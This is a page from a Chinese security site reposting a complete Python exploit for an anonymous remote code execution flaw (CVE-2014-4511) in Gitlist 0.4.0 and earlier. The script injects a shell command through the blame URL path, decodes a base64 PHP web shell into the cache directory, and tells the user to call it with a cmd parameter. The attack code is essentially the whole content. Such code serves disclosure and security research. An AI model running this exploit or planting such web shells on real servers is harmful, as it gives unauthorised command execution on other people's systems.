首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Gitlist <= 0.4.0 - Remote Code Execution
来源:@dronesec 作者:drone 发布时间:2014-07-01  
from commands import getoutput
import urllib
import sys
  
""" 
Exploit Title: Gitlist <= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: <= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
"""
  
if len(sys.argv) <= 1:
    print '%s: [url to git repo] {cache path}' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git' % sys.argv[0]
    print '  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache' % sys.argv[0]
    sys.exit(1)
  
url = sys.argv[1]
url = url if url[-1] != '/' else url[:-1]
  
path = "/var/www/gitlist/cache"
if len(sys.argv) > 2:
    path = sys.argv[2]
  
print '[!] Using cache location %s' % path
  
# payload <?system($_GET['cmd']);?>
payload = "PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo="
  
# sploit; python requests does not like this URL, hence wget is used
mpath = '/blame/master/""`echo {0}|base64 -d > {1}/x.php`'.format(payload, path)
mpath = url+ urllib.quote(mpath)
  
out = getoutput("wget %s" % mpath)
if '500' in out:
    print '[!] Shell dropped; go hit %s/cache/x.php?cmd=ls' % url.rsplit('/', 1)[0]
else:
    print '[-] Failed to drop'
    print out

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·check_dhcp 2.0.2 (Nagios Plugi
·Supermicro Onboard IPMI Port 4
·chkrootkit 0.49 - Local Root V
·OpenSSL DTLS Fragment Buffer O
·HP AutoPass License Server Fil
·MongoDB NoSQL Collection Enume
·MS14-009 .NET Deployment Servi
·Sun/Oracle GlassFish Authentic
·MS13-097 Registry Symlink IE S
·Nagios check_dhcp 2.0.2 Race C
·Python CGIHTTPServer File Disc
·Horde Framework Unserialize PH
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved